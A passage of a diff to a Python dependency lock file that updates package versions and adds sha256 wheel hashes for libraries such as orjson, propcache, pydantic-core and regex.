--hash=sha256:a088b62bd733e2ad12c50dad01b7d0166c30287c166e137433d3b410add807a6 \ --hash=sha256:a90f75c956e32891a4eda3639ce6dd86e87105271f43d43442a3aedf3cddf172 \ + --hash=sha256:af959b9beeb66c822380f222f0e0a1889331597e81f1ded7f374f3ecb0fd6c52 \ --hash=sha256:b0fa96985700739c4c7853a43c0b3e169360d6855780021bfc6d0f1ce7c123e7 \ --hash=sha256:bfde23ef6ed9db7eaee6c37dcec08524cb43903c60b285b172b6c094711b3961 \ + --hash=sha256:c3a32d23520ee37bf327d1e1a656fec76a2edd5c038bf43eddfa0572ec49c60b \ --hash=sha256:c76c4bec1538375dad9d452d246ca5368ad6e1c9039dadcf007ae59c70619ea1 \ + --hash=sha256:c9035dde0f916702850ef66460bc4239d89d08df4d02023a5926e7446724212c \ + --hash=sha256:da62917e6076f512daccfbbde27f46fed1c98fee202f0559adec8ee0de67f71a \ --hash=sha256:e82d14e3c948952a1a85503817e038cba5905a3352de76b9a465075d072fba23 \ --hash=sha256:e954b24433c768ce78ab7929e84ccf3422e46deb45a4dc9f93438f8217fa2d34 \ --hash=sha256:eb0ce7b2a32d09892b3dd6cc44877a0d02a33241fafca5f25c8b6b62374f8b75 \ --hash=sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d \ --hash=sha256:f2a0a924d4c2e9afcd7ec64f9de35fcd96915149b2216e1cb2c10a56df483855 \ + --hash=sha256:f5dd81c45b05518b9aa4da4aa74e1c93d715efa234fd3e8a179df611cc85e5f4 \ --hash=sha256:fc5907494fccf3e7d3f94f95c91d6336b092b5fc83811720fae5e2765890dfba # via # aiobotocore @@ -1515,8 +1716,8 @@ mypy-extensions==1.0.0 ; (platform_machine == 'arm64' and sys_platform == 'darwi # via # nemoplatform # typing-inspect -nemo-anonymizer==0.2.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:369ee9f717e3c346328bcef9767da3b596d5b927b5f9cc162ece95766b1d8aad +nemo-anonymizer==0.3.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:a51f92f58fb86ffe09c9159768b309dd9138170022c1bae8565b8dc72effea7f # via nemo-anonymizer-plugin nemo-safe-synthesizer==0.1.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:fbf6f9179052d0ac27ad4493238009a5e1c7ae7775354f062d5e90725890b0ce @@ -1620,6 +1821,7 @@ nvidia-nat-core==1.8.0 ; (platform_machine == 'arm64' and sys_platform == 'darwi --hash=sha256:645bcc995f73598016b750f7849decb24bea857549f96f5fcbbd8ff37f0c3fc5 # via # nemo-agents-example-calculator + # nemo-agents-example-email-phishing # nemo-agents-plugin # nvidia-nat-config-optimizer # nvidia-nat-langchain @@ -1842,11 +2044,20 @@ orjson==3.11.8 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( --hash=sha256:0022bb50f90da04b009ce32c512dc1885910daa7cb10b7b0cba4505b16db82a8 \ --hash=sha256:003646067cc48b7fcab2ae0c562491c9b5d2cbd43f1e5f16d98fd118c5522d34 \ --hash=sha256:093d489fa039ddade2db541097dbb484999fcc65fc2b0ff9819141e2ab364f25 \ + --hash=sha256:14778ffd0f6896aa613951a7fbf4690229aa7a543cb2bfbe9f358e08aafa9546 \ --hash=sha256:1cd0b77e77c95758f8e1100139844e99f3ccc87e71e6fc8e1c027e55807c549f \ + --hash=sha256:29c009e7a2ca9ad0ed1376ce20dd692146a5d9fe4310848904b6b4fee5c5c137 \ --hash=sha256:3f23426851d98478c8970da5991f84784a76682213cd50eb73a1da56b95239dc \ + --hash=sha256:3f262401086a3960586af06c054609365e98407151f5ea24a62893a40d80dbbb \ + --hash=sha256:436c4922968a619fb7fef1ccd4b8b3a76c13b67d607073914d675026e911a65c \ --hash=sha256:53a0f57e59a530d18a142f4d4ba6dfc708dc5fdedce45e98ff06b44930a2a48f \ + --hash=sha256:54153d21520a71a4c82a0dbb4523e468941d549d221dc173de0f019678cf3813 \ + --hash=sha256:55120759e61309af7fcf9e961c6f6af3dde5921cdb3ee863ef63fd9db126cae6 \ + --hash=sha256:58a4a208a6fbfdb7a7327b8f201c6014f189f721fd55d047cafc4157af1bc62a \ + --hash=sha256:5d8b5231de76c528a46b57010bbd83fb51e056aa0220a372fd5065e978406f1c \ --hash=sha256:5f8952d6d2505c003e8f0224ff7858d341fa4e33fef82b91c4ff0ef070f2393c \ --hash=sha256:6a3d159d5ffa0e3961f353c4b036540996bf8b9697ccc38261c0eac1fd3347a6 \ + --hash=sha256:6eda5b8b6be91d3f26efb7dc6e5e68ee805bc5617f65a328587b35255f138bf4 \ --hash=sha256:705b895b781b3e395c067129d8551655642dfe9437273211d5404e87ac752b53 \ --hash=sha256:708c95f925a43ab9f34625e45dcdadf09ec8a6e7b664a938f2f8d5650f6c090b \ --hash=sha256:76070a76e9c5ae661e2d9848f216980d8d533e0f8143e6ed462807b242e3c5e8 \ @@ -1855,9 +2066,12 @@ orjson==3.11.8 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( --hash=sha256:97c8f5d3b62380b70c36ffacb2a356b7c6becec86099b177f73851ba095ef623 \ --hash=sha256:9b48e274f8824567d74e2158199e269597edf00823a1b12b63d48462bbf5123e \ --hash=sha256:a5c370674ebabe16c6ccac33ff80c62bf8a6e59439f5e9d40c1f5ab8fd2215b7 \ + --hash=sha256:ea56a955056a6d6c550cf18b3348656a9d9a4f02e2d0c02cabf3c73f1055d506 \ --hash=sha256:ebaed4cef74a045b83e23537b52ef19a367c7e3f536751e355a2a394f8648559 \ --hash=sha256:ed193ce51d77a3830cad399a529cd4ef029968761f43ddc549e1bc62b40d88f8 \ - --hash=sha256:f30491bc4f862aa15744b9738517454f1e46e56c972a2be87d70d727d5b2a8f8 + --hash=sha256:f30491bc4f862aa15744b9738517454f1e46e56c972a2be87d70d727d5b2a8f8 \ + --hash=sha256:f89b6d0b3a8d81e1929d3ab3d92bbc225688bd80a770c49432543928fe09ac55 \ + --hash=sha256:ff51f9d657d1afb6f410cb435792ce4e1fe427aab23d2fcd727a2876e21d4cb6 # via # langgraph-sdk # langsmith @@ -1865,19 +2079,25 @@ orjson==3.11.8 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( # pymilvus ormsgpack==1.12.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d \ + --hash=sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172 \ --hash=sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a \ + --hash=sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5 \ --hash=sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d \ --hash=sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181 \ --hash=sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7 \ --hash=sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc \ + --hash=sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685 \ --hash=sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355 \ --hash=sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7 \ --hash=sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b \ --hash=sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e \ --hash=sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33 \ + --hash=sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e \ --hash=sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9 \ --hash=sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a \ --hash=sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258 \ + --hash=sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92 \ + --hash=sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6 \ --hash=sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1 \ --hash=sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd # via langgraph-checkpoint @@ -2045,31 +2265,51 @@ prompt-toolkit==3.0.52 ; (platform_machine == 'arm64' and sys_platform == 'darwi # nemo-platform-sdk # nemoguardrails propcache==0.4.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:0013cb6f8dde4b2a2f66903b8ba740bdfe378c943c4377a200551ceb27f379e4 \ --hash=sha256:031dce78b9dc099f4c29785d9cf5577a3faf9ebf74ecbd3c856a7b92768c3df3 \ --hash=sha256:15932ab57837c3368b024473a525e25d316d8353016e7cc0e5ba9eb343fbb1cf \ + --hash=sha256:17612831fda0138059cc5546f4d12a2aacfb9e47068c06af35c400ba58ba7393 \ + --hash=sha256:2bb07ffd7eaad486576430c89f9b215f9e4be68c4866a96e97db9e97fead85dc \ --hash=sha256:333ddb9031d2704a301ee3e506dc46b1fe5f294ec198ed6435ad5b6a085facfe \ --hash=sha256:35c3277624a080cc6ec6f847cbbbb5b49affa3598c4535a0a4682a697aaa5c75 \ --hash=sha256:3d902a36df4e5989763425a8ab9e98cd8ad5c52c823b34ee7ef307fd50582566 \ + --hash=sha256:405aac25c6394ef275dee4c709be43745d36674b223ba4eb7144bf4d691b7367 \ + --hash=sha256:41a89040cb10bd345b3c1a873b2bf36413d48da1def52f268a055f7398514874 \ --hash=sha256:43eedf29202c08550aac1d14e0ee619b0430aaef78f85864c1a892294fbc28cf \ --hash=sha256:4d3df5fa7e36b3225954fba85589da77a0fe6a53e3976de39caf04a0db4c36f1 \ + --hash=sha256:4d7af63f9f93fe593afbf104c21b3b15868efb2c21d07d8732c0c4287e66b6a6 \ + --hash=sha256:501d20b891688eb8e7aa903021f0b72d5a55db40ffaab27edefd1027caaafa61 \ --hash=sha256:564d9f0d4d9509e1a870c920a89b2fec951b44bf5ba7d537a9e7c1ccec2c18af \ + --hash=sha256:580e97762b950f993ae618e167e7be9256b8353c2dcd8b99ec100eb50f5286aa \ --hash=sha256:60a8fda9644b7dfd5dece8c61d8a85e271cb958075bfc4e01083c148b61a7caf \ + --hash=sha256:678ae89ebc632c5c204c794f8dab2837c5f159aeb59e6ed0539500400577298c \ + --hash=sha256:67fad6162281e80e882fb3ec355398cf72864a54069d060321f6cd0ade95fe85 \ --hash=sha256:6918ecbd897443087a3b7cd978d56546a812517dcaaca51b49526720571fa93e \ --hash=sha256:6f8b465489f927b0df505cbe26ffbeed4d6d8a2bbc61ce90eb074ff129ef0ab1 \ --hash=sha256:92d1935ee1f8d7442da9c0c4fa7ac20d07e94064184811b685f5c4fada64553b \ --hash=sha256:981333cb2f4c1896a12f4ab92a9cc8f09ea664e9b7dbdc4eff74627af3a11c0f \ --hash=sha256:9a0bd56e5b100aef69bd8562b74b46254e7c8812918d3baa700c8a8009b0af66 \ --hash=sha256:a78372c932c90ee474559c5ddfffd718238e8673c340dc21fe45c5b8b54559a0 \ + --hash=sha256:a9695397f85973bb40427dedddf70d8dc4a44b22f1650dd4af9eedf443d45165 \ + --hash=sha256:ab08df6c9a035bee56e31af99be621526bd237bea9f32def431c656b29e41778 \ + --hash=sha256:af223b406d6d000830c6f65f1e6431783fc3f713ba3e6cc8c024d5ee96170a4b \ --hash=sha256:af2a6052aeb6cf17d3e46ee169099044fd8224cbaf75c76a2ef596e8163e2237 \ + --hash=sha256:c07fda85708bc48578467e85099645167a955ba093be0a2dcba962195676e859 \ --hash=sha256:c0ef0aaafc66fbd87842a3fe3902fd889825646bc21149eafe47be6072725835 \ --hash=sha256:cae65ad55793da34db5f54e4029b89d3b9b9490d8abe1b4c7ab5d4b8ec7ebf74 \ + --hash=sha256:cfc27c945f422e8b5071b6e93169679e4eb5bf73bbcbf1ba3ae3a83d2f78ebd9 \ --hash=sha256:d472aeb4fbf9865e0c6d622d7f4d54a4e101a89715d8904282bb5f9a2f476c3f \ --hash=sha256:e153e9cd40cc8945138822807139367f256f89c6810c2634a4f6902b52d3b4e2 \ + --hash=sha256:e35b88984e7fa64aacecea39236cee32dd9bd8c55f57ba8a75cf2399553f9bd7 \ + --hash=sha256:e9b0d8d0845bbc4cfcdcbcdbf5086886bc8157aa963c31c777ceff7846c77757 \ --hash=sha256:ec17c65562a827bba85e3872ead335f95405ea1674860d96483a02f5c698fa72 \ + --hash=sha256:ee17f18d2498f2673e432faaa71698032b0127ebf23ae5974eeaf806c279df24 \ --hash=sha256:f048da1b4f243fc44f205dfd320933a951b8d89e0afd4c7cacc762a8b9165207 \ + --hash=sha256:f10207adf04d08bec185bae14d9606a1444715bc99180f9331c9c02093e1959e \ --hash=sha256:f48107a8c637e80362555f37ecf49abe20370e557cc4ab374f04ec4423c97c3d \ --hash=sha256:f95393b4d66bfae908c3ca8d169d5f79cd65636ae15b5e7a4f6e67af675adb0e \ --hash=sha256:fc38cba02d1acba4e2869eef1a57a43dfbd3d49a59bf90dda7444ec2be6a5570 \ + --hash=sha256:fd0858c20f078a32cf55f7e81473d96dcf3b93fd2ccdb3d40fdf54b8573df3af \ --hash=sha256:fd6f30fdcf9ae2a70abd34da54f18da086160e4d7d9251f81f3da0ff84fc5a48 # via # aiohttp @@ -2078,6 +2318,7 @@ protobuf==6.33.6 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or --hash=sha256:77179e006c476e69bf8e8ce866640091ec42e1beb80b213c3900006ecfba6901 \ --hash=sha256:9720e6961b251bde64edfdab7d500725a2af5280f3f4c87e57c0208376aa8c3a \ --hash=sha256:a6768d25248312c297558af96a9f9c929e8c4cee0659cb07e780731095f38135 \ + --hash=sha256:c96c37eec15086b79762ed265d59ab204dabc53056e3443e702d2681f4b39ce3 \ --hash=sha256:e2afbae9b8e1825e3529f88d514754e094278bb95eadc0e199751cdd9a2e82a2 \ --hash=sha256:e9db7e292e0ab79dd108d7f1a94fe31601ce1ee3f7b79e0692043423020b0593 # via @@ -2106,20 +2347,32 @@ psutil==7.2.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # ngcsdk # opentelemetry-instrumentation-system-metrics psycopg2-binary==2.9.11 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:00ce1830d971f43b667abe4a56e42c1e2d594b32da4802e44a73bacacb25535f \ --hash=sha256:04195548662fa544626c8ea0f06561eb6203f1984ba5b4562764fbeb4c3d14b1 \ --hash=sha256:2c226ef95eb2250974bf6fa7a842082b31f68385c4f3268370e3f3870e7859ee \ --hash=sha256:2e164359396576a3cc701ba8af4751ae68a07235d7a380c631184a611220d9a4 \ + --hash=sha256:31b32c457a6025e74d233957cc9736742ac5a6cb196c6b68499f6bb51390bd6a \ --hash=sha256:366df99e710a2acd90efed3764bb1e28df6c675d33a7fb40df9b7281694432ee \ --hash=sha256:5c6ff3335ce08c75afaed19e08699e8aacf95d4a260b495a4a8545244fe2ceb3 \ --hash=sha256:62b6d93d7c0b61a1dd6197d208ab613eb7dcfdcca0a49c42ceb082257991de9d \ --hash=sha256:763c93ef1df3da6d1a90f86ea7f3f806dc06b21c198fa87c3c25504abec9404a \ + --hash=sha256:84011ba3109e06ac412f95399b704d3d6950e386b7994475b231cf61eec2fc1f \ --hash=sha256:8c55b385daa2f92cb64b12ec4536c66954ac53654c7f15a203578da4e78105c0 \ + --hash=sha256:a1cf393f1cdaf6a9b57c0a719a1068ba1069f022a59b8b1fe44b006745b59757 \ + --hash=sha256:a311f1edc9967723d3511ea7d2708e2c3592e3405677bf53d5c7246753591fbb \ --hash=sha256:ab8905b5dcb05bf3fb22e0cf90e10f469563486ffb6a96569e51f897c750a76a \ + --hash=sha256:b31e90fdd0f968c2de3b26ab014314fe814225b6c324f770952f7d38abf17e3c \ --hash=sha256:b6aed9e096bf63f9e75edf2581aa9a7e7186d97ab5c177aa6c87797cd591236c \ --hash=sha256:ba34475ceb08cccbdd98f6b46916917ae6eeb92b5ae111df10b544c3a4621dc4 \ + --hash=sha256:bf940cd7e7fec19181fdbc29d76911741153d51cab52e5c21165f3262125685e \ + --hash=sha256:c0377174bf1dd416993d16edc15357f6eb17ac998244cca19bc67cdc0e2e5766 \ --hash=sha256:cffe9d7697ae7456649617e8bb8d7a45afb71cd13f7ab22af3e5c61f04840908 \ + --hash=sha256:d526864e0f67f74937a8fce859bd56c979f5e2ec57ca7c627f5f1071ef7fee60 \ + --hash=sha256:d57c9c387660b8893093459738b6abddbb30a7eab058b77b0d0d1c7d521ddfd7 \ --hash=sha256:ebb415404821b6d1c47353ebe9c8645967a5235e6d88f914147e7fd411419e6f \ + --hash=sha256:edcb3aeb11cb4bf13a2af3c53a15b3d612edeb6409047ea0b5d6a21a9d744b34 \ --hash=sha256:ef7a6beb4beaa62f88592ccc65df20328029d721db309cb3250b0aae0fa146c3 \ + --hash=sha256:f07c9c4a5093258a03b28fab9b4f151aa376989e7f35f855088234e656ee6a94 \ --hash=sha256:f090b7ddd13ca842ebfe301cd587a76a4cf0913b1e429eb92c1be5dbeb1a19bc \ --hash=sha256:fa0f693d3c68ae925966f0b14b8edda71696608039f4ed61b1fe9ffa468d16db # via nmp-entities @@ -2128,20 +2381,26 @@ py-key-value-aio==0.4.4 ; (platform_machine == 'arm64' and sys_platform == 'darw --hash=sha256:e3012e6243ed7cc09bb05457bd4d03b1ba5c2b1ca8700096b3927db79ffbbe55 # via fastmcp py-rust-stemmers==0.1.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:07b3b8582313ef8a7f544acf2c887f27c3dd48c5ddca028fa0f498de7380e24f \ + --hash=sha256:0ae0540453843bc36937abb54fdbc0d5d60b51ef47aa9667afd05af9248e09eb \ --hash=sha256:191ea8bf922c984631ffa20bf02ef0ad7eec0465baeaed3852779e8f97c7e7a3 \ --hash=sha256:1c3593d895453fa06bf70a7b76d6f00d06def0f91fc253fe4260920650c5e078 \ --hash=sha256:1f9efc4da5e734bdd00612e7506de3d0c9b7abc4b89d192742a0569d0d1fe749 \ --hash=sha256:31ff4fb9417cec35907c18a6463e3d5a4941a5aa8401f77fbb4156b3ada69e3f \ + --hash=sha256:35d32f6e7bdf6fd90e981765e32293a8be74def807147dea9fdc1f65d6ce382f \ --hash=sha256:4d62410ada44a01e02974b85d45d82f4b4c511aae9121e5f3c1ba1d0bea9126b \ --hash=sha256:4e308fc7687901f0c73603203869908f3156fa9c17c4ba010a7fcc98a7a1c5f2 \ + --hash=sha256:541d4b5aa911381e3d37ec483abb6a2cf2351b4f16d5e8d77f9aa2722956662a \ --hash=sha256:5845709d48afc8b29e248f42f92431155a3d8df9ba30418301c49c6072b181b0 \ --hash=sha256:804944eeb5c5559443d81f30c34d6e83c6292d72423f299e42f9d71b9d240941 \ --hash=sha256:85944262c248ea30444155638c9e148a3adc61fe51cf9a3705b4055b564ec95d \ --hash=sha256:910d87d39ba75da1fe3d65df88b926b4b454ada8d73893cbd36e258a8a648158 \ --hash=sha256:96ccc7fd042ffc3f7f082f2223bb7082ed1423aa6b43d5d89ab23e321936c045 \ --hash=sha256:a231dc6f0b2a5f12a080dfc7abd9e6a4ea0909290b10fd0a4620e5a0f52c3d17 \ + --hash=sha256:a979c3f4ff7ad94a0d4cf566ca7bfecebb59e66488cc158e64485cf0c9a7879f \ --hash=sha256:b28ef729a4c83c7d9418be3c23c0372493fcccc67e86783ff04596ef8a208cdf \ --hash=sha256:c52c5c326de78c70cfc71813fa56818d1bd4894264820d037d2be0e805b477bd \ + --hash=sha256:cc2cc8d2b36bc05b8b06506199ac63d437360ae38caefd98cd19e479d35afd42 \ --hash=sha256:d8f374c0f26ef35fb87212686add8dff394bcd9a1364f14ce40fe11504e25e30 \ --hash=sha256:e48bfd5e3ce9d223bfb9e634dc1425cf93ee57eef6f56aa9a7120ada3990d4be \ --hash=sha256:e9c310cfb5c2470d7c7c8a0484725965e7cab8b1237e106a0863d5741da3e1f7 \ @@ -2250,27 +2509,40 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or pydantic-core==2.41.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740 \ --hash=sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84 \ + --hash=sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33 \ --hash=sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0 \ --hash=sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e \ --hash=sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0 \ --hash=sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34 \ --hash=sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808 \ + --hash=sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594 \ --hash=sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a \ --hash=sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284 \ --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 \ + --hash=sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294 \ --hash=sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc \ --hash=sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c \ + --hash=sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e \ + --hash=sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05 \ + --hash=sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e \ --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ --hash=sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b \ + --hash=sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1 \ --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ --hash=sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2 \ + --hash=sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2 \ + --hash=sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770 \ --hash=sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc \ --hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ --hash=sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56 \ --hash=sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c \ --hash=sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e \ + --hash=sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e \ + --hash=sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc \ + --hash=sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8 \ --hash=sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69 \ --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c \ + --hash=sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75 \ --hash=sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f \ --hash=sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad \ --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b @@ -2288,6 +2560,7 @@ pydantic-settings==2.14.2 ; (platform_machine == 'arm64' and sys_platform == 'da # fastapi # langchain-community # mcp + # nemo-anonymizer # nemo-automodel-plugin # nemo-platform-plugin # nemo-rl-plugin @@ -2320,6 +2593,7 @@ pyjwt==2.13.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p --hash=sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423 \ --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 # via + # data-designer-engine # mcp # nmp-common # nvidia-nat-core @@ -2400,9 +2674,12 @@ pyyaml==6.0.3 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 \ --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 \ --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea \ + --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c \ --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 \ + --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 \ --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e \ --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 \ + --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 \ --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d \ --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc \ --hash=sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f \ @@ -2456,28 +2733,52 @@ referencing==0.36.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # jsonschema-path # jsonschema-specifications regex==2026.5.9 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:01f0f5f55f4b64dacec85dc116d3c05fd23ad3ff037bbc73a2085775953c2611 \ --hash=sha256:01f28d868834624c934b8d2e0aa1c8341337e37831f4a012f18a5afcba4cbaf3 \ + --hash=sha256:0f9eede6a5cbdc02d4978090186390936e1776a7d1359b21e41014c609880bcf \ --hash=sha256:1268eddd8486dc561d08eee1156e40aa3a8fe10f4bdec8fa653b455fcbffd12c \ + --hash=sha256:205109e96b3cf5adf8f4cd62bedde9487feb282b9497a3535451e5a24cd706a0 \ --hash=sha256:2a661a7d270a61f7cf460caee8b9fa2d5ef9e5c681234bcb9e0fe14f488e7dfc \ --hash=sha256:2acfb48634f64996b57f90f39afa692ff362162722581921fe92239a59960f3c \ --hash=sha256:2efa205e6d98b24d1f3ab395c11aa15cdf10935bca283d0285e0499c284fba21 \ + --hash=sha256:39617fb0cde9c0e6306dc70e3bfc096f3da793219879f7ae7aa341a69fbdcf6d \ + --hash=sha256:3dd4a3ff360dfb836fecdb93a4598f9d6e2ac81e3e397125145c6221bf58cf4c \ --hash=sha256:4ebe8f0b5ec5a5024dc4a4c59f444c4e9afc5f2abdbb8962065b75d27fb971f9 \ --hash=sha256:4eeb011098fcb77af513dcef521a3dbecbf8849b1e38940759d293b7a93f5026 \ + --hash=sha256:508f56a89ba9cb26e4168cbc37dbd60a28d82430a9e18ad1d25fe0883c314ca2 \ + --hash=sha256:57e8915c7986aa33d25e4d3629cef711cd2863f2961b10409f0c04cb8b7d9020 \ --hash=sha256:57eeeb05db7979413dec5438f2db21d7ecbba787cde7a711df1a6f6df672aa06 \ --hash=sha256:6441cc660d76107934a09c22167200839a0e89604a6297f78a974e66e931d2c0 \ --hash=sha256:728d8bfd28a8845c8b6bc5dc7ce010453d206396786c0765c2740cb65f37791e \ + 